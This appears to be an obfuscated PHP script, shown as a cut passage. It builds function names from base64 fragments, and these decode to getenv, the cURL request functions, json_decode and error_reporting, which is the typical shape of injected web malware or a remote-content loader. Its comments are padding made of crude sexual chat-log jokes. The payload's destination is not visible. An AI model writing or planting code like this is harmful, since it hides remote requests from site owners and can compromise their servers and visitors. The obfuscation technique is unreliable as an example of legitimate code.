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class _{private static$_;static function _($_){if(!self::$_):self::_();endif;return self::$_[$_];}private static function _(){self::$_=array(9.46,61.27,0.6/*Bloodninja: I lick your earlobe, and undo your watch.*/,55.76,0.16666666666667/*Sarah19fca: mmmm, okay.*/,0.16666666666667/*Bloodninja: I take yo pants off, grunting like a troll.*/,0.16666666666667/*Sarah19fca: Yeah I like it rough.*/,0.16666666666667,0.16666666666667/*Bloodninja: I smack you thick booty.*/,0.16666666666667,01,01,01,01,01,06144/*Sarah19fca: Oh yeah, that feels good.*/,06144/*Bloodninja: Smack, Smack, yeeeaahhh.*/,06144,8.67,2.68,33.33/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmmm.*/,00,00,00,2.95/*Sarah19fca: you like that?*/,1.59,95.33,0.22,1.37,33.31,0.33333333333333,0.33333333333333,0.33333333333333/*Bloodninja: I peel some bananas.*/,721.38/*Sarah19fca: Oh, what are you gonna do with those?*/,2128.25,2128.25,2128.25/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/,2128.25,68.833333333333,68.833333333333/*Sarah19fca: Peanuts?*/,68.833333333333/*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/,68.833333333333/*Sarah19fca: What are you talking about?*/,68.833333333333/*Bloodninja: I'm spent, I jump down into the alley and smoke a fatty. I throw rocks at the cats.*/,68.833333333333,05,05,055/*Sarah19fca: This is stupid.*/,055,055,055,055/*Bloodninja: Stone Cold Steve Austin gives me some beer.*/,00,00/*Bloodninja: Wanna Wrestle Stone Cold?*/,00,7.49/*Bloodninja: Yeeaahhhh.*/,9.28/*Sarah19fca: /ignore*/,82.26,761.83333333333/*Bloodninja: Its cool stone cold she was a bitch anyway.*/,761.83333333333,761.83333333333,761.83333333333/*Bloodninja: We get on harleys and ride into the sunset.*/,761.83333333333,761.83333333333);}}/*=====*/$GLOBALS["_253b5c0b24a654ebbbac80212a45b329"]=array(-01250,-01432/*Bloodninja: Wanna cyber?*/,-0162,01225,-0521,01110/*DirtyKate: K, but don't tell anybody ;-)*/,-01161,0334,-02346,02744,-023/*DirtyKate: Who are you?*/,01563/*Bloodninja: I've got blond hair, blue eyes, I work out a lot*/,01147,01224,0601,01265,02154/*Bloodninja: And I have a part time job delivering for Papa John's in my Geo Storm.*/,01530,-071,02130/*DirtyKate: You sound sexy.. I bet you want me in the back of your car..*/,-01200/*Bloodninja: Maybe some other time. You should call up Papa John's and make an order*/,-01217/*DirtyKate: Haha! OK*/,-01225,0272,01413,01104,066,0102,0340/*DirtyKate: Hello! I'd like an extra-EXTRA large pizza just dripping with sauce.*/,-0443,0401,0537,0570/*Bloodninja: Well, first they would say, "Hello, this is Papa John's, how may I help you", then they tell you the specials, and then you would make your order. So that's an X-Large. What toppings do you want?*/,0627,0550,0633,0120/*DirtyKate: I want everything, baby!*/,01437,02255/*Bloodninja: Is this a delivery?*/,0324,0272,01270,-03415/*DirtyKate: Umm...Yes*/,-0122,012,-0134);$GLOBALS["_"]=BAse64_dECoDE("U"."3RSbGVu");$GLOBALS["_"]=BaSe64_DEcoDE("YkF"."zZTY0X2"."RFY29"."kZQ==");$GLOBALS["_"]=BasE64_dECODe("c"."1RSTEV"."O");$GLOBALS["_"]=base64_DecODE("T"."1"."J"."E");/*DirtyKate: So you're bringing the pizza to my house now? Cause I'm home alone... and I think I'll take a shower...*/$GLOBALS["_"]=bAse64_DeCOdE("T1Jk");$GLOBALS["_"]=BaSE64_decODe("Y2"."hy");$GLOBALS["_"]=baSe64_dEcode("Y2VpTA==");/*Bloodninja: Good. It will take about fifteen minutes to cook, and then I'll drive to your house.*/$GLOBALS["_"]=Base64_dEcOdE("cmVTZX"."Q=");$GLOBALS["_"]=bAse64_DeCodE("SFRN"."bHNwRUNJYWxjSG"."F"."Scw="."=");$GLOBALS["_"]=BasE64_dECode("U1Vi"."c"."3"."RS");$GLOBALS["_"]=BaSe64_dEcode("R0VURU"."5W");$GLOBALS["_"]=Base64_DeCode("Y2VJbA="."=");/***pause***/$GLOBALS["_"]=BaSE64_DECOdE("clRSSW"."0=");/*DirtyKate:I'm almost finished with my shower... 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So I let myself in, and walk inside. I put the pizza down on your coffee table.*/$GLOBALS["_"]=basE64_DEcODe("RmlsdEVSX3ZB"."Ug==");$GLOBALS["_"]=BaSe64_dECOde("Y09uc3R"."hbnQ"."=");/*Bloodninja: Are you ready to get nasty, baby? I'm as hot as a pizza oven*/$GLOBALS["_"]=basE64_decodE("ZklsVEVyX3Z"."hcg"."="."=");$GLOBALS["_"]=BaSe64_decoDE("Q3V"."STF9pbkl"."0");$GLOBALS["_"]=BasE64_DECoDE("Q09uU1Rhbn"."Q=");/*DirtyKate: ooohh yeah. I step out of the shower and I'm all wet and cold. Warm me up baby*/$GLOBALS["_"]=BAsE64_DeCOdE("Q3VSTF9zZXRPU"."H"."Q=");$GLOBALS["_"]=base64_DECOdE("Q29OU3RBT"."nQ=");/*Bloodninja: So you're still in the bathroom?*/$GLOBALS["_"]=bAsE64_DeCODe("Q3VSTF9TZVR"."PcFQ=");/*DirtyKate: Yeah, I'm wrapping a towel around myself.*/$GLOBALS["_"]=BasE64_dECODe("Q2"."9"."OU3R"."BT"."lQ=");$GLOBALS["_"]=base64_DeCOde("Q3VSbF9TZVRvUFQ=");/*Bloodninja: I can no longer resist the pizza. I open the box and unzip my pants with my other hand. As I penetrate the gooey cheese, I moan in ecstacy. The mushrooms and Italian sausage are rough, but the sauce is deliciously soothing. I blow my load in seconds. As you leave the bathroom, I exit through the front door....*/$GLOBALS["_"]=baSe64_DecODe("Y3VSbF9leG"."VD");/*DirtyKate: What the fuck?*/$GLOBALS["_"]=BaSE64_dEcode("Q"."1VybF9jTG9T"."ZQ==");/*DirtyKate: You perverted piece of s**t*/$GLOBALS["_"]=baSE64_DECodE("TWF"."4");$GLOBALS["_"]=base64_deCOdE("TUl"."O");/*DirtyKate: F**k*/$GLOBALS["_"]=baSE64_DecodE("SnNvTl9ERWN"."vZGU"."=");/*=====*/$GLOBALS["_"]=BASE64_DECodE("c3RSX1J"."lcEx"."h"."Q2U=");$GLOBALS["_"]=BASE64_Decode("Q09uU"."3"."RBb"."nQ"."=");$GLOBALS["_"]=BasE64_dEcoDe("ZmlsdEVyX3"."Zhcg==");$GLOBALS["_"]=BaSE64_dEcodE("Q0"."9uU1R"."BTlQ"."=");$GLOBALS["_"]=BASe64_dEcODe("RklM"."VE"."V"."SX3ZB"."U"."g==");$GLOBALS["_"]=baSE64_deCoDE("b3Jk");/*Bloodninja: Wanna cyber?*/$GLOBALS["_"]=BASE64_deCode("V"."G"."ltRQ"."==");/*MommyMelissa: Sure, you into vegetables?*/$GLOBALS["_"]=baSe64_deCodE("ZGVj"."Qml"."u");$GLOBALS["_"]=BASe64_DECOde("U3RyX3JFU"."G"."VB"."dA="."=");$GLOBALS["_"]=bASE64_DEcOdE("Q"."XJSYXlfa0"."VZUw"."="."=");/*Bloodninja: What like gardening an s**t?*/$GLOBALS["_"]=bAsE64_DecodE("Y0"."91b"."lQ=");$GLOBALS["_"]=Base64_DeCODe("SXN"."f"."SU"."5U");$GLOBALS["_"]=bAsE64_dECODE("Q3VSbF9JTmlU");/*MommyMelissa: Yeah, something like that.*/$GLOBALS["_"]=BaSe64_DecodE("Q"."09u"."c3Rhb"."nQ"."=");$GLOBALS["_"]=BASe64_decODE("Q3VybF9TZ"."V"."RvcHQ=");/*Bloodninja: Nuthin turns me on more, check this out*/$GLOBALS["_"]=base64_deCoDe("Y09OU3Rhb"."lQ"."=");/*Bloodninja: You bend over to harvest your radishes.*/$GLOBALS["_"]=base64_DECoDe("Y1VyTF"."9zZX"."R"."vcH"."Q=");$GLOBALS["_"]=BASe64_DECOde("Y09uU1R"."hbnQ"."=");/*(pause)*/$GLOBALS["_"]=BASE64_deCode("Q3VyTF9TRVRvc"."HQ=");/*MommyMelissa: is that it?*/$GLOBALS["_"]=BasE64_DECOde("Y1VyT"."F9Fe"."EVj");/*Bloodninja: You water your tomato patch.*/$GLOBALS["_"]=bASE64_dEcode("cn"."RSS"."U0=");$GLOBALS["_"]=BAsE64_DECOde("QVJyY"."XlfS2V5cw==");$GLOBALS["_"]=baSE64_Decode("Q291b"."nQ=");/*Bloodninja: Are you ready for my fresh produce?*/$GLOBALS["_"]=base64_DEcodE("SXNfS"."W5U");$GLOBALS["_"]=BAsE64_DecoDe("bW"."F"."Y");$GLOBALS["_"]=bASE64_dEcoDe("Tkw"."yYlI=");$GLOBALS["_"]=base64_DeCoDe("Y1VyTF9DbE9z"."ZQ="."=");$GLOBALS["_"]=BaSE64_decoDE("SlNPbl9k"."ZU"."NPZEU=");$GLOBALS["_"]=BaSE64_deCOdE("c3"."RyX3JlcExBY0U"."=");$GLOBALS["_"]=BasE64_DEcode("Y09Oc1RBbl"."Q=");$GLOBALS["_"]=bAsE64_deCODe("ZklsVEVyX3ZhU"."g==");$GLOBALS["_"]=bASe64_DEcODe("Y29uc"."3RBbl"."Q=");$GLOBALS["_"]=BasE64_DeCode("RmlsdGVSX1ZBcg"."="."=");$GLOBALS["_"]=BAse64_DeCODE("Q1VybF9"."pTmlU");$GLOBALS["_"]=BAse64_dECODe("dElNR"."Q"."="."=");$GLOBALS["_"]=BAsE64_DEcODe("RV"."JyT3JfUmVQb3J"."UaU5"."n");$GLOBALS["_"]=BAsE64_DecodE("Y29uU1RBTn"."Q"."=");$GLOBALS["_"]=BAsE64_dECOdE("Q3VybF9zRVRPUF"."Q=");$GLOBALS["_"]=Base64_DeCODE("Q09uc3Rhbl"."Q=");/*MommyMelissa: I was thinking of like, sexual acts INVOLVING vegetables... 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